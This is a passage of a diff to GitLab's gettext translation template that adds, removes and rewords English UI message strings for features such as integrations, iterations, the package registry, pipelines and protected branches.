msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18049,25 +17740,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18997,9 +18694,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19392,9 +19083,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19602,6 +19290,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19823,6 +19514,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20075,9 +19778,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20390,6 +20090,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20402,6 +20105,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21645,9 +21342,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21872,7 +21563,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21929,13 +21620,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22132,9 +21823,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22153,7 +21841,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22788,9 +22470,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23507,6 +23186,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23561,9 +23249,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,13 +24257,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24605,10 +24308,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24620,6 +24323,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25547,6 +25256,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25610,15 +25319,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25667,9 +25370,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26303,9 +26000,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26390,21 +26084,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26420,18 +26111,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26447,9 +26129,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26486,6 +26168,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26516,9 +26198,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26684,6 +26375,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26744,18 +26441,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27366,6 +27081,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr ""
